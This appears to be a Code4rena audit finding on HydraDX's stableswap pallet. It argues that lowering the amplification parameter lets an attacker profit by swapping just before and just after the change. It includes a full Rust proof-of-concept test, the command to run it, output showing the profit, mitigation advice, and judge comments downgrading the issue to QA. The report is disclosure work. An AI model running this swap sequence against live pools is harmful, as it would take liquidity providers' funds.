Lowering amplification allows attackers to steal funds

[c4-bot-4]

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L433-L438

Vulnerability details

Impact

Attackers can steal funds by performing two swaps before and after the AMP is reduced. For more information, please see https://medium.com/@peter_4205/curve-vulnerability-report-a1d7630140ec.

Proof of Concept

1. Please add the following test case into HydraDX-node/pallets/stableswap/src/tests/trades.rs.

#[test]
fn test_steal_funds_amp() {

	use crate::Pools;

	let asset_a: AssetId = 1;
	let asset_b: AssetId = 2;

	let initial_amp : u16 = 10_000;
	let amp_to_update: u16 = 10;

	let start_block = 20;
	let end_block = 21;

	ExtBuilder::default()
		.with_endowed_accounts(vec![
			(BOB, 1, 200 * ONE), 
			(ALICE, 1, 200 * ONE), 
			(ALICE, 2, 200 * ONE)]
		)
		.with_registered_asset("one".as_bytes().to_vec(), 1, 12)
		.with_registered_asset("two".as_bytes().to_vec(), 2, 12)
		.with_pool(
			ALICE,
			PoolInfo::<AssetId, u64> {
				assets: vec![asset_a, asset_b].try_into().unwrap(),
				initial_amplification: NonZeroU16::new(initial_amp).unwrap(),
				final_amplification: NonZeroU16::new(initial_amp).unwrap(),
				initial_block: 0,
				final_block: 0,
				fee: Permill::from_percent(0),
			},
			InitialLiquidity {
				account: ALICE,
				assets: vec![
					AssetAmount::new(asset_a, 200 * ONE),
					AssetAmount::new(asset_b, 200 * ONE),
				],
			},
		)
		.build()
		.execute_with(|| {
			let pool_id = get_pool_id_at(0);

			let pool = <Pools<Test>>::get(pool_id).unwrap();
			let amp = Stableswap::get_amplification(&pool);
			assert_eq!(amp, initial_amp as u128);

			assert_ok!(Stableswap::update_amplification(
				RuntimeOrigin::root(),
				pool_id,
				amp_to_update,
				start_block,
				end_block,
			));

			// advance block
			System::set_block_number(20);

			let pool = <Pools<Test>>::get(pool_id).unwrap();
			let amp = Stableswap::get_amplification(&pool);
			assert_eq!(amp, initial_amp as u128);

			let asset_a_bal = Tokens::free_balance(asset_a, &BOB);
			println!("starting bal asset_a: {:?}", asset_a_bal);

			let asset_b_bal = Tokens::free_balance(asset_b, &BOB);
			println!("starting bal asset_b: {:?}", asset_b_bal);

			let starting_total = asset_a_bal + asset_b_bal;
			println!("starting bal total: {:?}", starting_total);

			// sell assetA 
			assert_ok!(Stableswap::sell(
				RuntimeOrigin::signed(BOB),
				pool_id,
				asset_a,
				asset_b,
				asset_a_bal,
				0, // maximum amount whatever we get
			));

			let asset_a_bal = Tokens::free_balance(asset_a, &BOB);
			println!("1st swap asset_a: {:?}", asset_a_bal);

			let asset_b_bal = Tokens::free_balance(asset_b, &BOB);
			println!("1st swap asset_b: {:?}", asset_b_bal);

			// advance block which updates amp
			System::set_block_number(21);

			let pool = <Pools<Test>>::get(pool_id).unwrap();
			let amp = Stableswap::get_amplification(&pool);
			assert_eq!(amp, amp_to_update as u128);

			// buy back assetA
			assert_ok!(Stableswap::sell(
				RuntimeOrigin::signed(BOB),
				pool_id,
				asset_b,
				asset_a,
				asset_b_bal,
				0, // maximum amount whatever we get
			));

			let asset_a_bal = Tokens::free_balance(asset_a, &BOB);
			println!("2nd swap asset_a: {:?}", asset_a_bal);

			let asset_b_bal = Tokens::free_balance(asset_b, &BOB);
			println!("2nd swap asset_b: {:?}", asset_b_bal);

			let ending_total = asset_a_bal + asset_b_bal;
			println!("ending bal total: {:?}", ending_total);

			assert!(ending_total > starting_total, "exploit failed");

			let profit = ending_total - starting_total;
			println!("profit: {:?}", profit);

			
		});
}

2. Run cargo test --package pallet-stableswap --lib -- tests::trades::test_steal_funds_amp --exact --nocapture.

3. Output

running 1 test
starting bal asset_a: 200000000000000
starting bal asset_b: 0
starting bal total: 200000000000000
1st swap asset_a: 0
1st swap asset_b: 198595751082728
2nd swap asset_a: 376877581226143
2nd swap asset_b: 0
ending bal total: 376877581226143
profit: 176877581226143

Tools Used

Manual review.

Recommended Mitigation Steps

Consider applying the following recommendations:

1. Ensure the difference between current_amplification and final_amplification is within an allowed range.

Example: https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/a/SwapTemplateA.vy#L979-L982

2. Implement a buffer period before the amplification changes to reflect.

https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/a/SwapTemplateA.vy#L972-L973

Assessed type

Other

[c4-pre-sort]

0xRobocop marked the issue as duplicate of #96

[c4-judge]

OpenCoreCH changed the severity to QA (Quality Assurance)

[c4-judge]

OpenCoreCH marked the issue as grade-a